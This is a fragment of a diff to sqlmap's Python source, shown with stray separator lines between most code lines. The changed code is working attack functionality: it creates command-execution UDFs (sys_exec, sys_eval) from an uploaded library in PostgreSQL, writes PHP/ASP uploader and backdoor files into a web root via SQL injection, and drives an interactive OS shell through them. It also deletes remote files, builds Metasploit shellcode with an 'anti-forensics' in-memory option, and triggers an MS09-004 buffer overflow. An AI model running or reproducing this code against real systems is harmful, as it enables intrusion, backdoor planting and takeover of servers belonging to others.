if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
@@ -30,6 +30,7 @@ from lib.core.agent import agent
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import parsePasswordHash
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -38,7 +39,6 @@ from lib.core.data import temp
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setOs
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
@@ -46,7 +46,6 @@ from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
@@ -1000,7 +999,7 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return kb.data.dumpedTable
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
@@ -1062,7 +1061,7 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return kb.data.dumpedTable
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
@@ -1097,7 +1096,6 @@ class Enumeration:
|
||||
|
||||
def sqlQuery(self, query):
|
||||
output = None
|
||||
selectQuery = True
|
||||
sqlType = None
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
@@ -1105,9 +1103,6 @@ class Enumeration:
|
||||
if query.lower().startswith(sqlStatement):
|
||||
sqlType = sqlTitle
|
||||
|
||||
if sqlTitle != "SQL SELECT statement":
|
||||
selectQuery = False
|
||||
|
||||
break
|
||||
|
||||
message = "do you want to retrieve the SQL statement output? "
|
||||
@@ -1122,6 +1117,8 @@ class Enumeration:
|
||||
|
||||
return output
|
||||
else:
|
||||
query = urlencode(query, convall=True)
|
||||
|
||||
if kb.stackedTest == None:
|
||||
stackedTest()
|
||||
|
||||
|
||||
@@ -31,10 +31,8 @@ from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
@@ -50,33 +48,21 @@ class Filesystem:
|
||||
|
||||
|
||||
def __unbase64String(self, base64Str):
|
||||
unbase64Str = ""
|
||||
|
||||
if isinstance(base64Str, (list, tuple, set)):
|
||||
for chunk in base64Str:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
unbase64Str += "%s\n" % chunk.decode("base64")
|
||||
else:
|
||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||
|
||||
return unbase64Str
|
||||
|
||||
|
||||
def __unhexString(self, hexStr):
|
||||
unhexStr = ""
|
||||
if len(hexStr) % 2 != 0:
|
||||
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||
errMsg += "hexadecimal string which it is not able to convert "
|
||||
errMsg += "to raw string"
|
||||
logger.error(errMsg)
|
||||
|
||||
if isinstance(hexStr, (list, tuple, set)):
|
||||
for chunk in hexStr:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
return hexStr
|
||||
|
||||
unhexStr += binascii.unhexlify(chunk)
|
||||
else:
|
||||
unhexStr = binascii.unhexlify(hexStr)
|
||||
|
||||
return unhexStr
|
||||
return binascii.unhexlify(hexStr)
|
||||
|
||||
|
||||
def __binDataToScr(self, binaryData, chunkName):
|
||||
@@ -215,7 +201,7 @@ class Filesystem:
|
||||
return fcEncodedList
|
||||
|
||||
|
||||
def updateBinChunk(self, binaryData, dFile, tmpPath):
|
||||
def updateBinChunk(self, binaryData, tmpPath):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
back-end DBMS underlying file system
|
||||
@@ -295,10 +281,20 @@ class Filesystem:
|
||||
|
||||
fileContent = self.stackedReadFile(rFile)
|
||||
|
||||
if fileContent == None:
|
||||
if fileContent in ( None, "" ):
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
elif isinstance(fileContent, (list, tuple, set)):
|
||||
newFileContent = ""
|
||||
|
||||
for chunk in fileContent:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
newFileContent += chunk
|
||||
|
||||
fileContent = newFileContent
|
||||
|
||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||
fileContent = self.__unhexString(fileContent)
|
||||
|
||||
@@ -33,7 +33,7 @@ class Fingerprint:
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
def unescape(expression, quote=True):
|
||||
errMsg = "'unescape' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
+31
-8
@@ -46,12 +46,15 @@ class Miscellaneous:
|
||||
if kb.os == "Windows":
|
||||
# NOTES:
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM and the system-wide
|
||||
# temporary files directory is C:\WINDOWS\Temp
|
||||
# * The system-wide temporary files directory is
|
||||
# C:\WINDOWS\Temp
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM
|
||||
#
|
||||
# * PostgreSQL runs by default as postgres user and the
|
||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||
# however the system-wide folder is writable too
|
||||
# however the system-wide folder is writable too
|
||||
#
|
||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||
#infoMsg += "directory"
|
||||
#logger.info(infoMsg)
|
||||
@@ -70,12 +73,28 @@ class Miscellaneous:
|
||||
setRemoteTempPath()
|
||||
|
||||
|
||||
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os == "Windows":
|
||||
if doubleslash is True:
|
||||
tempFile = tempFile.replace("/", "\\\\")
|
||||
else:
|
||||
tempFile = tempFile.replace("/", "\\")
|
||||
|
||||
cmd = "del /F /Q %s" % tempFile
|
||||
else:
|
||||
cmd = "rm -f %s" % tempFile
|
||||
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
|
||||
def createSupportTbl(self, tblName, tblField, tblType):
|
||||
inject.goStacked("DROP TABLE %s" % tblName)
|
||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||
|
||||
|
||||
def cleanup(self, onlyFileTbl=False):
|
||||
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||
"""
|
||||
Cleanup database from sqlmap create tables and functions
|
||||
"""
|
||||
@@ -108,17 +127,21 @@ class Miscellaneous:
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
return
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
||||
if udfDict is None:
|
||||
udfDict = self.sysUdfs
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
dropStr = "DROP FUNCTION %s" % udf
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
dropStr += "(text)"
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
dropStr += "(%s)" % inp
|
||||
|
||||
logger.debug("removing %s UDF" % udf)
|
||||
logger.debug("removing UDF '%s'" % udf)
|
||||
inject.goStacked(dropStr)
|
||||
|
||||
logger.info("database management system cleanup finished")
|
||||
|
||||
+309
-155
@@ -24,12 +24,16 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import getDirs
|
||||
from lib.core.common import getDocRoot
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.convert import hexencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -38,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.dep import DEP
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
class Takeover(Abstraction, Metasploit, Registry):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
@@ -55,17 +58,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.cmdFromChurrasco = False
|
||||
|
||||
Abstraction.__init__(self)
|
||||
DEP.__init__(self)
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
"""
|
||||
|
||||
output = None
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
|
||||
if not cmd:
|
||||
cmd = conf.osCmd
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
|
||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
@@ -77,98 +78,113 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
return output
|
||||
|
||||
|
||||
def __webBackdoorOsShell(self):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
|
||||
This method is used to write a PHP agent (cmd.php) on a writable
|
||||
remote directory within the web server document root.
|
||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
||||
functionality
|
||||
|
||||
@todo:
|
||||
* Add a web application crawling functionality to detect
|
||||
all (at least most) web server directories and merge with
|
||||
Google results if the target host is a publicly available
|
||||
hostname or IP address;
|
||||
* Extend the agent to other interpreters rather than only PHP:
|
||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
||||
"""
|
||||
|
||||
infoMsg = "retrieving web application directories"
|
||||
def __webBackdoorShell(self, backdoorUrl):
|
||||
infoMsg = "calling OS shell. To quit type "
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = getDirectories()
|
||||
autoCompletion(osShell=True)
|
||||
|
||||
if directories:
|
||||
infoMsg = "retrieved web server directories "
|
||||
infoMsg += "'%s'" % ", ".join(d for d in directories)
|
||||
logger.info(infoMsg)
|
||||
while True:
|
||||
command = None
|
||||
|
||||
message = "in addition you can provide a list of directories "
|
||||
message += "absolute path comma separated that you want sqlmap "
|
||||
message += "to try to upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
else:
|
||||
message = "please provide the web server document root [/var/www]: "
|
||||
inputDocRoot = readInput(message, default="/var/www")
|
||||
try:
|
||||
command = raw_input("os-shell> ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
|
||||
if inputDocRoot:
|
||||
kb.docRoot = inputDocRoot
|
||||
else:
|
||||
kb.docRoot = "/var/www"
|
||||
if not command:
|
||||
continue
|
||||
|
||||
message = "please provide a list of directories absolute path "
|
||||
message += "comma separated that you want sqlmap to try to "
|
||||
message += "upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||
|
||||
for inputDir in inputDirs:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add("/var/www/test")
|
||||
|
||||
def __webBackdoorInit(self):
|
||||
"""
|
||||
This method is used to write a web backdoor (agent) on a writable
|
||||
remote directory within the web server document root.
|
||||
"""
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
backdoorUrl = None
|
||||
language = None
|
||||
kb.docRoot = getDocRoot()
|
||||
directories = getDirs()
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
|
||||
infoMsg = "trying to upload the uploader agent"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
uploaded = False
|
||||
message = "which web application language does the web server "
|
||||
message += "support?\n"
|
||||
message += "[1] ASP\n"
|
||||
message += "[2] PHP (default)\n"
|
||||
message += "[3] JSP"
|
||||
|
||||
backdoorName = "backdoor.php"
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.php"
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
while True:
|
||||
choice = readInput(message, default="2")
|
||||
|
||||
if not choice or choice == "2":
|
||||
language = "php"
|
||||
|
||||
for directory in directories:
|
||||
if uploaded:
|
||||
break
|
||||
|
||||
elif choice == "1":
|
||||
language = "asp"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "3":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
errMsg = "JSP web backdoor functionality is not yet "
|
||||
errMsg += "implemented"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
#language = "jsp"
|
||||
|
||||
#break
|
||||
|
||||
elif not choice.isdigit():
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
elif int(choice) < 1 or int(choice) > 3:
|
||||
logger.warn("invalid value, it must be 1 or 3")
|
||||
|
||||
backdoorName = "backdoor.%s" % language
|
||||
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.%s" % language
|
||||
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
# Upload the uploader agent
|
||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
|
||||
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
|
||||
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
if kb.docRoot:
|
||||
requestDir = directory.replace(kb.docRoot, "")
|
||||
else:
|
||||
requestDir = directory
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
|
||||
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
if "sqlmap backdoor uploader" not in uplPage:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
@@ -180,65 +196,49 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
if language == "php":
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
uploaded = True
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
|
||||
infoMsg = "the backdoor has been successfully uploaded on "
|
||||
infoMsg += "'%s', go with your browser to " % directory
|
||||
infoMsg += "'%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.osShell:
|
||||
message = "do you want to use the uploaded backdoor as a "
|
||||
message += "shell to execute commands right now? [Y/n] "
|
||||
shell = readInput(message, default="Y")
|
||||
|
||||
if shell in ("n", "N"):
|
||||
continue
|
||||
|
||||
infoMsg = "calling OS shell. To quit type "
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
elif language == "asp":
|
||||
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
|
||||
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
|
||||
backdoorContent = open(backdoorPath, "r").read()
|
||||
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
|
||||
|
||||
autoCompletion(osShell=True)
|
||||
if "permission denied" in page.lower():
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
while True:
|
||||
command = None
|
||||
continue
|
||||
|
||||
try:
|
||||
command = raw_input("os-shell> ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
elif language == "jsp":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
pass
|
||||
|
||||
if not command:
|
||||
continue
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
infoMsg = "the backdoor has probably been successfully "
|
||||
infoMsg += "uploaded on '%s', go with your browser " % directory
|
||||
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||
break
|
||||
|
||||
return backdoorUrl
|
||||
|
||||
|
||||
def uploadChurrasco(self):
|
||||
@@ -250,14 +250,11 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
if not output or output[0] in ( "y", "Y" ):
|
||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
||||
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
||||
|
||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
self.cmdFromChurrasco = True
|
||||
|
||||
# NOTE: no need to handle DEP for Churrasco executable because
|
||||
# it spawns a new process as the SYSTEM user token to execute
|
||||
# the executable passed as argument
|
||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||
|
||||
return True
|
||||
@@ -269,10 +266,17 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
infoMsg = "going to upload a web page backdoor for command "
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.initEnv()
|
||||
self.runCmd(conf.osCmd)
|
||||
backdoorUrl = self.__webBackdoorInit()
|
||||
|
||||
if backdoorUrl:
|
||||
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
|
||||
else:
|
||||
self.initEnv()
|
||||
self.runCmd(conf.osCmd)
|
||||
|
||||
|
||||
def osShell(self):
|
||||
@@ -283,7 +287,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__webBackdoorOsShell()
|
||||
backdoorUrl = self.__webBackdoorInit()
|
||||
|
||||
if backdoorUrl:
|
||||
self.__webBackdoorShell(backdoorUrl)
|
||||
else:
|
||||
self.initEnv()
|
||||
self.absOsShell()
|
||||
@@ -297,28 +304,52 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows":
|
||||
# NOTE: no need to add an exception to DEP for the payload
|
||||
# stager because it already sets the memory to +rwx before
|
||||
# copying the shellcode into that memory page
|
||||
#self.handleDep(self.exeFilePathRemote)
|
||||
goUdf = False
|
||||
|
||||
if conf.privEsc and kb.dbms == "MySQL":
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||
msg += "\n[2] Stand-alone payload stager (file system way)"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choice == 1:
|
||||
goUdf = True
|
||||
|
||||
if goUdf is True:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||
warnMsg += "user which has no Windows Impersonation "
|
||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||
warnMsg += "escalation will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which has no Windows "
|
||||
warnMsg += "Impersonation Tokens within all threads, this "
|
||||
@@ -338,7 +369,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
self.pwn()
|
||||
self.pwn(goUdf)
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
@@ -412,11 +443,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
infoMsg += "buffer overflow (MS09-004)"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: only needed to handle DEP
|
||||
self.initEnv(mandatory=False, detailed=True)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfShellcode()
|
||||
self.overflowBypassDEP()
|
||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||
self.bof()
|
||||
self.delException()
|
||||
|
||||
|
||||
def __regInit(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os != "Windows":
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
|
||||
|
||||
def regRead(self):
|
||||
self.__regInit()
|
||||
|
||||
if not conf.regKey:
|
||||
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||
msg = "which registry key do you want to read? [%s] " % default
|
||||
regKey = readInput(msg, default=default)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
default = "ProductName"
|
||||
msg = "which registry key value do you want to read? [%s] " % default
|
||||
regVal = readInput(msg, default=default)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return self.readRegKey(regKey, regVal, False)
|
||||
|
||||
|
||||
def regAdd(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
